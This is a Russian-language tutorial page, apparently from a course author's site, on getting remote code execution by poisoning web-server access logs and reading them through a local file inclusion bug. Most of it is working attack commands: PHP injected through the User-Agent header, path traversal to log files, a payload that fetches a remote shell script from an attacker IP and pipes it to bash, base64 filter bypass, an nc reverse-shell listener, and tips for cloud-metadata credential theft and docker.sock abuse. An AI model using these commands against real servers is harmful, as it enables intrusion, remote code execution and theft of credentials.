Авторские курсы Михаила Тарасова

LFI через access logs

LFI через access logs

Точка входа:

  • Что вижу: Веб-сервер (Apache/Nginx), который логирует запросы в access.log, и ты можешь влиять на входные данные вроде User-Agent или Referer. Плюс, есть LFI (Local File Inclusion) в каком-то параметре (?page=../../etc/passwd), но прямой доступ к сочным файлам заблокирован фильтрами.

  • Как поймал: Инструмент — Burp Suite для подмены заголовков + ffuf для поиска LFI-точек. Метод — отравление логов через кастомный User-Agent с PHP-кодом (User-Agent: <?php system('id'); ?>) и попытка подтянуть access.log через известный LFI.

  • Чем пахнет: Класс уязвимости — RCE через LFI + log poisoning. Вероятность — 8/10, если сервер пишет логи без фильтрации и access.log лежит в предсказуемом месте (/var/log/apache2/access.log или /var/log/nginx/access.log).

Че почем:

  • Эксплойт:

    1. Шлём запрос с ядовитым User-Agent’ом, чтобы он записался в лог:
      curl -H "User-Agent: <?php system('whoami'); ?>" http://target.com/any-page

    2. Проверяем, где логи (стандартные пути):
      curl "http://target.com/vuln.php?page=../../../../var/log/apache2/access.log"
      Если видим свой код в ответе — дело в шляпе.

    3. Вызываем выполнение, добавив команду. Для Apache часто работает через cmd или прямой шелл:
      curl -H "User-Agent: <?php system('curl -s http://144.XX.XX.XX:4444/shell.sh | bash'); ?>" http://target.com/any-page
      (IP мой, держи пока заглушку, но ты понял, о чём я).

  • Обход защиты:
    Если сервер фильтрует <?php, попробуй закодировать через URL-encode или base64:
    User-Agent: <?php eval(base64_decode('c3lzdGVtKCd3aG9hbWknKTs=')); ?>
    Если WAF блокирует прямые запросы, подмени Referer или Cookie вместо User-Agent. А если логи не в стандартном месте, юзай dirb или gobuster для поиска через LFI (?page=../../../../var/log/custom.log).

  • Доказательство:
    Видишь в ответе uid=33(www-data)? Это не скрин с котиком, это твой билет в баг-баунти. Если сервер вернул выполнение команды, ты уже внутри. Скриншот Burp с запросом и ответом — твой PoC для отчёта.

Советы:

  • 3 вектора для добивания:

    1. Если access.log не читается через LFI, попробуй error.log — пихай ошибки через невалидные запросы (curl "http://target.com/<?php phpinfo(); ?>").

    2. Проверяй другие лог-файлы: /var/log/vsftpd.log или /var/log/sshd.log, если есть FTP/SSH и ты можешь спамить логи.

    3. Если фильтры жёсткие, закинь reverse-shell через EXIF-данные картинки в профиль (если есть загрузка) и подтяни через LFI. Да, это низко. Да, это работает.

  • План атаки:

    1. Подтверди LFI — фаззи через ffuf -u "http://target.com/vuln.php?page=FUZZ" -w /usr/share/wordlists/dirb/common.txt.

    2. Отправь access.log с помощью curl -H "User-Agent: <?php system('curl -s http://144.XX.XX.XX:4444/shell.sh | bash'); ?>" http://target.com/.

    3. Подтяни лог через LFI (?page=../../../../var/log/apache2/access.log) и проверь выполнение.

    4. Если всё ок, поднимай nc на своём сервере (nc -lvnp 4444) и лови обратный шелл.

  • Бонус от души:
    Проверь robots.txt и sitemap.xml на предмет старых бэкапов логов (/logs-backup.zip). Если есть JWT в куках, ломай через jwt_tool -I -pc name -pv admin — вдруг админка рядом. И не забудь про cloud metadata (169.254.169.254/latest/meta-data/) — может, AWS-токены на блюдечке. Если Docker в хедерах, ори как псих: /var/run/docker.sock + curl --unix-socket /var/run/docker.sock http://localhost/images/json.

Если всё попало в тупик — иди спать, бро. Или учи Rust, раз руки кривые. А если выгорело — пиши отчёт, как будто ты уже на сцене Hack The Box. Этот фронтенд — как твоя бывшая: орёт «403», а внутри пусто и ждёт, пока ты зайдёшь с чёрного хода. Го ловить баги, братан!

Мои курсы